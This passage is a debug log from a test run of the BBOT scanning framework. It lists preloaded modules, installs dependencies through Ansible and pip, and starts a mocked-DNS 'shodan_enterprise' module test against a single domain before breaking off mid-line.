cache -2026-02-27 21:21:34,628 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 21:21:34,630 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 21:21:34,630 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 21:21:34,632 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 21:21:34,633 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 21:21:34,634 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 21:21:34,635 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 21:21:34,636 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 21:21:34,638 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 21:21:34,639 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 21:21:34,640 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 21:21:34,641 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 21:21:34,642 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 21:21:34,643 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 21:21:34,645 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 21:21:34,645 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 21:21:34,646 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 21:21:34,648 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 21:21:34,649 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 21:21:34,650 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 21:21:34,651 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:21:34,652 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:21:34,653 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:21:34,654 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:21:34,655 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:21:34,656 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:21:34,657 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:21:34,657 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 21:21:34,659 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 21:21:34,660 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 21:21:34,661 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 21:21:34,662 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 21:21:34,663 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 21:21:34,664 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 21:21:34,665 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 21:21:34,665 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 21:21:34,666 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 21:21:34,667 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 21:21:34,668 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 21:21:34,669 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 21:21:34,675 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 21:21:34,676 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 21:21:34,677 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 21:21:34,678 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 21:21:34,679 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 21:21:34,680 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 21:21:34,681 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 21:21:34,682 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 21:21:34,683 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 21:21:34,684 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 21:21:34,685 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 21:21:34,686 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 21:21:34,687 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 21:21:34,689 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 21:21:34,690 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 21:21:34,691 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 21:21:34,692 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 21:21:34,693 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 21:21:34,693 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 21:21:34,694 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 21:21:34,695 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 21:21:34,696 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 21:21:34,698 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 21:21:34,699 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 21:21:34,699 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 21:21:34,700 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 21:21:34,708 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 21:21:34,709 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 21:21:34,710 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 21:21:34,711 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 21:21:34,713 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 21:21:34,714 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 21:21:34,715 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 21:21:34,716 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 21:21:34,717 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 21:21:34,718 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 21:21:34,720 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 21:21:34,721 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 21:21:34,723 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 21:21:34,724 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 21:21:34,725 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 21:21:34,726 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 21:21:34,727 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 21:21:34,727 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 21:21:34,728 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 21:21:34,729 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 21:21:34,730 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 21:21:34,731 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 21:21:34,732 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 21:21:34,732 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 21:21:34,734 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 21:21:34,734 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 21:21:34,736 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 21:21:34,738 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 21:21:34,739 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 21:21:34,740 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 21:21:34,741 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 21:21:34,742 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 21:21:34,743 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 21:21:34,744 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 21:21:34,745 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 21:21:34,746 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 21:21:34,747 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 21:21:34,748 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 21:21:34,748 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 21:21:34,749 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 21:21:34,750 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 21:21:34,751 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 21:21:34,753 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 21:21:34,754 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 21:21:34,755 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 21:21:34,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 21:21:34,757 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 21:21:34,758 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 21:21:34,759 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 21:21:34,760 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 21:21:34,761 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 21:21:34,761 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 21:21:34,762 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 21:21:34,764 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 21:21:34,765 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 21:21:34,766 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 21:21:34,767 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 21:21:34,768 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 21:21:34,769 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 21:21:34,770 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 21:21:34,771 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 21:21:34,772 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 21:21:34,773 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 21:21:34,774 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 21:21:34,775 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 21:21:34,776 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 21:21:34,777 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:21:34,778 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:21:34,779 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:21:34,779 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:21:34,780 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:21:34,781 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:21:34,782 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:21:34,783 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:21:34,784 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:21:34,785 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:21:34,787 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:21:34,788 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:21:34,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:21:34,789 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:21:34,966 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4432378224 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:21:34,967 [DEBUG] filelock _api.py:334 Lock 4432378224 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:21:34,970 [DEBUG] filelock _api.py:364 Attempting to release lock 4432378224 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:21:34,970 [DEBUG] filelock _api.py:367 Lock 4432378224 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:21:36,213 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:21:36,214 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:21:36,214 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:21:36,384 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:21:37,001 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:21:37,001 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:21:37,001 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:21:37,002 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:21:37,222 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:21:37,223 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:21:37,334 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:21:37,334 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:21:37,386 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 21:21:37,396 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:21:37,397 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:21:38,047 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:21:38,048 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:21:48,752 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:21:48,753 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:21:48,754 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:21:50,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:21:50,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:21:50,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:21:50,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:21:50,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:21:50,800 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:21:50,800 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:21:50,800 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:21:50,804 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/wuouhf5jfy75gwta4tt0 -2026-02-27 21:21:51,808 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:21:51,809 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:21:51,809 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:21:51,810 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:21:51,810 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:21:51,810 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:21:51,811 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:21:51,931 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:21:51,931 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:21:51,931 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:21:51,934 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:21:51,934 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:21:51,934 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:21:51,934 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:21:51,935 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:21:51,936 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:21:51,936 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:21:51,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:21:51,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:21:51,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:21:51,938 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:21:51,938 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:21:51,938 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:21:51,938 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:21:51,939 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:21:51,940 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:21:51,941 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:21:51,941 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:21:51,941 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:21:51,941 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:21:51,941 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:21:51,942 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:21:51,942 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:21:51,942 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:21:51,944 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:21:51,944 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:21:51,944 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:21:51,947 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 21:21:52,094 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_6zceez31zn -2026-02-27 21:21:52,095 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 21:21:52,210 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 21:21:52,211 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 21:21:52,211 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 21:21:52,214 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) -2026-02-27 21:21:52,312 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) passed post-check -2026-02-27 21:21:52,313 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) -2026-02-27 21:21:52,315 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 21:21:52,316 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) -2026-02-27 21:21:52,317 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:21:52,318 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,319 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) passed post-check -2026-02-27 21:21:52,319 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'domain', 'in-scope', 'target'}) -2026-02-27 21:21:52,320 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,322 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 